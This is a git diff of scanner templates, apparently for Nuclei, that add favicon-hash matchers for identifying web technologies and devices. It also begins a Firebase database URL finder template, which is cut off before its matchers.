- "status_code==200 && (\"-617743584\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "polycom"
dsl:
- "status_code==200 && (\"77044418\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "cake-php"
dsl:
- "status_code==200 && (\"980692677\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "exacq"
dsl:
- "status_code==200 && (\"476213314\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "checkpoint"
dsl:
- "status_code==200 && (\"794809961\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "ubiquiti-unms"
dsl:
- "status_code==200 && (\"1157789622\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "cpanel-login"
dsl:
- "status_code==200 && (\"1244636413\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "worldclient-for-mdaemon"
dsl:
- "status_code==200 && (\"1985721423\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "netport-software-dsl"
dsl:
- "status_code==200 && (\"-1124868062\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "f5-big-ip"
dsl:
- "status_code==200 && (\"-335242539\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "mailcow"
dsl:
- "status_code==200 && (\"2146763496\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "qnap-nas-virtualization-station"
dsl:
- "status_code==200 && (\"-1041180225\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "netgear"
dsl:
- "status_code==200 && (\"-1319025408\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "gogs"
dsl:
- "status_code==200 && (\"917966895\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "trendnet-ip-camera"
dsl:
- "status_code==200 && (\"512590457\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "asustor"
dsl:
- "status_code==200 && (\"1678170702\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "dahua"
dsl:
- "status_code==200 && (\"-1466785234\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "discuz!"
dsl:
- "status_code==200 && (\"-505448917\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "wdcp-cloud-host-management-system"
dsl:
- "status_code==200 && (\"255892555\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "joomla"
dsl:
- "status_code==200 && (\"1627330242\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "smartermail"
dsl:
- "status_code==200 && (\"-1935525788\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "seafile"
dsl:
- "status_code==200 && (\"-12700016\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "bintec-elmeg"
dsl:
- "status_code==200 && (\"1770799630\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "netgear-readynas"
dsl:
- "status_code==200 && (\"-137295400\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "ipecs"
dsl:
- "status_code==200 && (\"-195508437\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "bet365"
dsl:
- "status_code==200 && (\"-2116540786\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "reolink"
dsl:
- "status_code==200 && (\"-38705358\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "idera"
dsl:
- "status_code==200 && (\"-450254253\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "proofpoint"
dsl:
- "status_code==200 && (\"-1630354993\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "kerio-connect-webmail"
dsl:
- "status_code==200 && (\"-1678298769\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "worldclient-for-mdaemon"
dsl:
- "status_code==200 && (\"-35107086\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "realtek"
dsl:
- "status_code==200 && (\"2055322029\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "ruijie-networks-login"
dsl:
- "status_code==200 && (\"-692947551\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "askey-cable-modem"
dsl:
- "status_code==200 && (\"-1710631084\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "askey-cable-modem"
dsl:
- "status_code==200 && (\"89321398\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "jaws-web-server-ip-camera"
dsl:
- "status_code==200 && (\"90066852\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "jaws-web-server-ip-camera"
dsl:
- "status_code==200 && (\"768231242\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "homegrown-website-hosting"
dsl:
- "status_code==200 && (\"-421986013\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "technicolor-/-thomson-speedtouch-network-/-adsl"
dsl:
- "status_code==200 && (\"156312019\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "dvr-korean"
dsl:
- "status_code==200 && (\"-560297467\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "joomla"
dsl:
- "status_code==200 && (\"-1950415971\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "tp-link-network-device"
dsl:
- "status_code==200 && (\"1842351293\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "salesforce"
dsl:
- "status_code==200 && (\"1433417005\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "apache-haus"
dsl:
- "status_code==200 && (\"-632070065\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "untangle"
dsl:
- "status_code==200 && (\"1103599349\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "shenzhen-coship-electronics-co."
dsl:
- "status_code==200 && (\"224536051\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "d-link-router/network"
dsl:
- "status_code==200 && (\"1038500535\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "d-link-camera"
dsl:
- "status_code==200 && (\"-355305208\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "kibana"
dsl:
- "status_code==200 && (\"-267431135\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "kibana"
dsl:
- "status_code==200 && (\"-759754862\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "kibana"
dsl:
- "status_code==200 && (\"-1200737715\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "kibana"
dsl:
- "status_code==200 && (\"75230260\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "kibana"
dsl:
- "status_code==200 && (\"1668183286\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "intelbras-sa"
dsl:
- "status_code==200 && (\"283740897\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "icecast-streaming-media-server"
dsl:
- "status_code==200 && (\"1424295654\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "nec-webpro"
dsl:
- "status_code==200 && (\"1922032523\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "vivotek-camera"
dsl:
- "status_code==200 && (\"-1654229048\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "microsoft-iis"
dsl:
- "status_code==200 && (\"-1414475558\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "univention-portal"
dsl:
- "status_code==200 && (\"-1697334194\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "portainer-docker-management"
dsl:
- "status_code==200 && (\"-1424036600\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "nos-router"
dsl:
- "status_code==200 && (\"-831826827\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "tongda"
dsl:
- "status_code==200 && (\"-759108386\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "crushftp"
dsl:
- "status_code==200 && (\"-1022206565\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "endian-firewall"
dsl:
- "status_code==200 && (\"-1225484776\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "kerio-control-firewall"
dsl:
- "status_code==200 && (\"-631002664\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "ferozo-panel"
dsl:
- "status_code==200 && (\"2072198544\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "kerio-control-firewall"
dsl:
- "status_code==200 && (\"-466504476\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "cafe24-korea"
dsl:
- "status_code==200 && (\"1251810433\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "mautic-open-source-marketing-automation"
dsl:
- "status_code==200 && (\"1273982002\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "netiaspot-network"
dsl:
- "status_code==200 && (\"-978656757\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "multilaser"
dsl:
- "status_code==200 && (\"916642917\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "canvas-lms-learning-management"
dsl:
- "status_code==200 && (\"575613323\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "ibm-server"
dsl:
- "status_code==200 && (\"1726027799\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "adb-broadband-s.p.a.-network"
dsl:
- "status_code==200 && (\"-587741716\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "arris-network"
dsl:
- "status_code==200 && (\"-360566773\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "huawei-network"
dsl:
- "status_code==200 && (\"-884776764\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "wampserver"
dsl:
- "status_code==200 && (\"929825723\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "seagate-technology-nas"
dsl:
- "status_code==200 && (\"240136437\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "upc-ceska-republica-network"
dsl:
- "status_code==200 && (\"1911253822\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "flussonic-video-streaming"
dsl:
- "status_code==200 && (\"-393788031\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "joomla"
dsl:
- "status_code==200 && (\"366524387\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "wampserver"
dsl:
- "status_code==200 && (\"443944613\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "metabase"
dsl:
- "status_code==200 && (\"1953726032\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "d-link-network"
dsl:
- "status_code==200 && (\"-2031183903\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "mobileiron"
dsl:
- "status_code==200 && (\"545827989\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "mobileiron"
dsl:
- "status_code==200 && (\"967636089\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "mobileiron"
dsl:
- "status_code==200 && (\"362091310\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "mobileiron"
dsl:
- "status_code==200 && (\"2086228042\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "communigate"
dsl:
- "status_code==200 && (\"-1588746893\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "zte-network"
dsl:
- "status_code==200 && (\"1427976651\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "infinet-wireless-|-wanflex-network"
dsl:
- "status_code==200 && (\"1648531157\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "mersive-solstice"
dsl:
- "status_code==200 && (\"938616453\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "université-toulouse-1-capitole"
dsl:
- "status_code==200 && (\"1632780968\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "digium-switchvox"
dsl:
- "status_code==200 && (\"2068154487\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "powermta-monitoring"
dsl:
- "status_code==200 && (\"-1788112745\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "smartlan/g"
dsl:
- "status_code==200 && (\"-644617577\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "checkpoint-gaia"
dsl:
- "status_code==200 && (\"-1822098181\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "mailwizz"
dsl:
- "status_code==200 && (\"2127152956\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "rabbitmq"
dsl:
- "status_code==200 && (\"1064742722\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "openmediavault-nas"
dsl:
- "status_code==200 && (\"-693082538\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "openwrt-luci"
dsl:
- "status_code==200 && (\"1941381095\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "honeywell"
dsl:
- "status_code==200 && (\"903086190\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "bomgar-support-portal"
dsl:
- "status_code==200 && (\"829321644\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "nuxt-js"
dsl:
- "status_code==200 && (\"-1442789563\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "roundcube-webmail"
dsl:
- "status_code==200 && (\"-2140379067\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "d-link-camera"
dsl:
- "status_code==200 && (\"-1897829998\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "netgear-network"
dsl:
- "status_code==200 && (\"1047213685\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "sonarqube"
dsl:
- "status_code==200 && (\"1485257654\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "lupus-electronics-xt"
dsl:
- "status_code==200 && (\"-299324825\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "vanderbilt-spc"
dsl:
- "status_code==200 && (\"-1162730477\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "vzpp-plesk"
dsl:
- "status_code==200 && (\"-1268095485\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "baidu"
dsl:
- "status_code==200 && (\"1118684072\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "owncloud"
dsl:
- "status_code==200 && (\"-1616115760\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "sentora"
dsl:
- "status_code==200 && (\"-2054889066\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "alfresco"
dsl:
- "status_code==200 && (\"1333537166\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "digital-keystone-dk"
dsl:
- "status_code==200 && (\"-373674173\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "wispr-airlan"
dsl:
- "status_code==200 && (\"-106646451\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "synology-vpn-plus"
dsl:
- "status_code==200 && (\"1235070469\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "sentry"
dsl:
- "status_code==200 && (\"2063428236\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "watchguard"
dsl:
- "status_code==200 && (\"15831193\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "web-client-pro"
dsl:
- "status_code==200 && (\"-956471263\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "tecvoz"
dsl:
- "status_code==200 && (\"-1452159623\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "mdaemon-remote-administration"
dsl:
- "status_code==200 && (\"99432374\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "paradox-ip-module"
dsl:
- "status_code==200 && (\"727253975\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "dokuwiki"
dsl:
- "status_code==200 && (\"-630493013\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "sails"
dsl:
- "status_code==200 && (\"552597979\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "fastpanel-hosting"
dsl:
- "status_code==200 && (\"774252049\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "c-lodop"
dsl:
- "status_code==200 && (\"-329747115\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "jamf-pro-login"
dsl:
- "status_code==200 && (\"1262005940\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "struxureware-schneider-electric"
dsl:
- "status_code==200 && (\"979634648\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "axcient-replibit-management-server"
dsl:
- "status_code==200 && (\"475379699\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "twonky-server-media-streaming"
dsl:
- "status_code==200 && (\"-878891718\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "windows-azure"
dsl:
- "status_code==200 && (\"-2125083197\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "isp-manager-web-hosting-panel"
dsl:
- "status_code==200 && (\"-1151675028\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "jupyterhub"
dsl:
- "status_code==200 && (\"1248917303\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "centurylink-modem-gui-login-eg"
dsl:
- "status_code==200 && (\"-1908556829\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "tecvoz"
dsl:
- "status_code==200 && (\"1059329877\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "opnsense"
dsl:
- "status_code==200 && (\"-1148190371\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "ligowave-network"
dsl:
- "status_code==200 && (\"1467395679\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "rumpus"
dsl:
- "status_code==200 && (\"-1528414776\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "spiceworks-panel"
dsl:
- "status_code==200 && (\"-2117390767\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "teamcity"
dsl:
- "status_code==200 && (\"-1944119648\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "instar-full-hd-ip-camera"
dsl:
- "status_code==200 && (\"-1748763891\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "gpon-home-gateway"
dsl:
- "status_code==200 && (\"251106693\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "alienvault"
dsl:
- "status_code==200 && (\"-1779611449\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "arbor-networks"
dsl:
- "status_code==200 && (\"-1745552996\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "accrisoft"
dsl:
- "status_code==200 && (\"-1275148624\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "yasni"
dsl:
- "status_code==200 && (\"-178685903\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "slack"
dsl:
- "status_code==200 && (\"-43161126\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "innovaphone"
dsl:
- "status_code==200 && (\"671221099\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "shinobi-cctv"
dsl:
- "status_code==200 && (\"-10974981\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "tp-link-network-device"
dsl:
- "status_code==200 && (\"1274078387\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "siemens-ozw772"
dsl:
- "status_code==200 && (\"-336242473\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "lantronix-spider"
dsl:
- "status_code==200 && (\"882208493\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "claimtime-ramsell-public-health-&-safety"
dsl:
- "status_code==200 && (\"-687783882\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "surfilter-ssl-vpn-portal"
dsl:
- "status_code==200 && (\"-590892202\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "kyocera-printer"
dsl:
- "status_code==200 && (\"-50306417\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "lucee!"
dsl:
- "status_code==200 && (\"784872924\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "ricoh"
dsl:
- "status_code==200 && (\"1135165421\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "handle-proxy"
dsl:
- "status_code==200 && (\"926501571\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "metasploit"
dsl:
- "status_code==200 && (\"579239725\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "iomega-nas"
dsl:
- "status_code==200 && (\"-689902428\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "iomega-nas"
dsl:
- "status_code==200 && (\"-600508822\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "iomega-nas"
dsl:
- "status_code==200 && (\"656868270\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "iomega-nas"
dsl:
- "status_code==200 && (\"-2056503929\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "iomega-nas"
dsl:
- "status_code==200 && (\"-1656695885\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "iomega-nas"
dsl:
- "status_code==200 && (\"331870709\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "iomega-nas"
dsl:
- "status_code==200 && (\"1241049726\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "iomega-nas"
dsl:
- "status_code==200 && (\"998138196\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "iomega-nas"
dsl:
- "status_code==200 && (\"322531336\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "iomega-nas"
dsl:
- "status_code==200 && (\"-401934945\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "iomega-nas"
dsl:
- "status_code==200 && (\"-613216179\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "chef-automate"
dsl:
- "status_code==200 && (\"-276759139\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "gargoyle-router-management-utility"
dsl:
- "status_code==200 && (\"1862132268\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "keepitsafe-management-console"
dsl:
- "status_code==200 && (\"-1738727418\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "entronix-energy-management-platform"
dsl:
- "status_code==200 && (\"-368490461\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "openproject"
dsl:
- "status_code==200 && (\"1836828108\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "unified-management-console-polycom"
dsl:
- "status_code==200 && (\"-1775553655\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "moxapass-iologik-remote-ethernet-i/o-server-"
dsl:
- "status_code==200 && (\"381100274\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "hfs-http-file-server"
dsl:
- "status_code==200 && (\"2124459909\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "hfs-http-file-server"
dsl:
- "status_code==200 && (\"731374291\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "traccar-gps-tracking"
dsl:
- "status_code==200 && (\"-335153896\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "iw"
dsl:
- "status_code==200 && (\"896412703\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "wordpress-under-construction-icon"
dsl:
- "status_code==200 && (\"191654058\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "combivox"
dsl:
- "status_code==200 && (\"-342262483\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "netcomwireless-network"
dsl:
- "status_code==200 && (\"5542029\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "elastic-database"
dsl:
- "status_code==200 && (\"1552860581\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "drupal"
dsl:
- "status_code==200 && (\"1174841451\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "truvision-nvr"
dsl:
- "status_code==200 && (\"-1093172228\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "spamexperts"
dsl:
- "status_code==200 && (\"-1688698891\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "sonatype-nexus-repository-manager"
dsl:
- "status_code==200 && (\"-1546574541\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "idirect-canada-network-management"
dsl:
- "status_code==200 && (\"-256828986\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "openerp-now-known-as-odoo"
dsl:
- "status_code==200 && (\"1966198264\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "pkp-openjournalsystems-public-knowledge-project"
dsl:
- "status_code==200 && (\"2099342476\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "liquidfiles"
dsl:
- "status_code==200 && (\"541087742\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "zyxel-network"
dsl:
- "status_code==200 && (\"-882760066\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "universal-devices-ud"
dsl:
- "status_code==200 && (\"16202868\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "huawei-network"
dsl:
- "status_code==200 && (\"987967490\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "gm77[.]com"
dsl:
- "status_code==200 && (\"-647318973\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "okazik[.]pl"
dsl:
- "status_code==200 && (\"-1583478052\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "gitea"
dsl:
- "status_code==200 && (\"1969970750\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "tc-group"
dsl:
- "status_code==200 && (\"-1734573358\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "deluge-web-ui"
dsl:
- "status_code==200 && (\"-1589842876\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "登录-amh"
dsl:
- "status_code==200 && (\"1822002133\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "otrs-open-ticket-request-system"
dsl:
- "status_code==200 && (\"-2006308185\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "bosch-security-systems-camera"
dsl:
- "status_code==200 && (\"-1702769256\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "node-red"
dsl:
- "status_code==200 && (\"321591353\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "motioneye-camera"
dsl:
- "status_code==200 && (\"-923693877\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "saia-burgess-controls-pcd"
dsl:
- "status_code==200 && (\"-1547576879\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "arcadyan-o2-box-network"
dsl:
- "status_code==200 && (\"1479202414\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "d-link-network"
dsl:
- "status_code==200 && (\"1081719753\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "abilis-network/automation"
dsl:
- "status_code==200 && (\"-166151761\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "ghost-cms"
dsl:
- "status_code==200 && (\"-1231681737\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "airwatch"
dsl:
- "status_code==200 && (\"321909464\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "airwatch"
dsl:
- "status_code==200 && (\"-1153873472\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "airwatch"
dsl:
- "status_code==200 && (\"1095915848\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "airwatch"
dsl:
- "status_code==200 && (\"788771792\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "airwatch"
dsl:
- "status_code==200 && (\"-1863663974\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "keyhelp-keyweb-ag"
dsl:
- "status_code==200 && (\"-1267819858\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "keyhelp-keyweb-ag"
dsl:
- "status_code==200 && (\"726817668\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "glpi"
dsl:
- "status_code==200 && (\"-1474875778\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "netcom-technology"
dsl:
- "status_code==200 && (\"5471989\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "cradlepoint"
dsl:
- "status_code==200 && (\"-1457536113\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "myasp"
dsl:
- "status_code==200 && (\"-736276076\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "intelbras-sa"
dsl:
- "status_code==200 && (\"-1343070146\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "lenel"
dsl:
- "status_code==200 && (\"538585915\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "okofen-pellematic"
dsl:
- "status_code==200 && (\"-625364318\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "simplehelp-remote-support"
dsl:
- "status_code==200 && (\"1117165781\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "graphql"
dsl:
- "status_code==200 && (\"-1067420240\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "dnn-cms"
dsl:
- "status_code==200 && (\"-1465479343\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "apple"
dsl:
- "status_code==200 && (\"1232159009\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "apple"
dsl:
- "status_code==200 && (\"1382324298\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "apple"
dsl:
- "status_code==200 && (\"-1498185948\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "ispconfig"
dsl:
- "status_code==200 && (\"483383992\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "microsoft-outlook"
dsl:
- "status_code==200 && (\"-1249852061\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "possibly-dvr"
dsl:
- "status_code==200 && (\"999357577\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "possible-ip-camera"
dsl:
- "status_code==200 && (\"492290497\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "dvr"
dsl:
- "status_code==200 && (\"400100893\" == mmh3(base64_py(body)))"
+
- type: dsl
name: "One Identity Password Manager"
dsl:
- "status_code==200 && (\"983384876\" == mmh3(base64_py(body)))"
+
+ - type: dsl
+ name: "Kaseya"
+ dsl:
+ - "status_code==200 && (\"-1445519482\" == mmh3(base64_py(body)))"
+
+ - type: dsl
+ name: "OpenSNS"
+ dsl:
+ - "status_code==200 && (\"1167011145\" == mmh3(base64_py(body)))"
+
+ - type: dsl
+ name: "SpamSniper"
+ dsl:
+ - "status_code==200 && (\"-1000719429\" == mmh3(base64_py(body)))"
+
+ - type: dsl
+ name: "Selea-ANPR-Camera"
+ dsl:
+ - "status_code==200 && (\"-41369781\" == mmh3(base64_py(body)))"
+
+ - type: dsl
+ name: "Selea-CarPlateServer"
+ dsl:
+ - "status_code==200 && (\"-656528622\" == mmh3(base64_py(body)))"
+
+ - type: dsl
+ name: "KevinLAB"
+ dsl:
+ - "status_code==200 && (\"-1650202746\" == mmh3(base64_py(body)))"
+
+ - type: dsl
+ name: "qdPM"
+ dsl:
+ - "status_code==200 && (\"762074255\" == mmh3(base64_py(body)))"
diff --git a/technologies/firebase-urls.yaml b/technologies/firebase-urls.yaml
new file mode 100644
index 0000000000..67a05cefcb
--- /dev/null
+++ b/technologies/firebase-urls.yaml
@@ -0,0 +1,23 @@
+id: firebase-urls
+
+info:
+ name: Google Firebase DB URL Finder
+ description: Find firebaseio urls to check for security permissions
+ author: panch0r3d
+ severity: info
+ tags: tech,firebase,google
+
+requests:
+ - method: GET
+ path:
+ - "{{BaseURL}}"
+
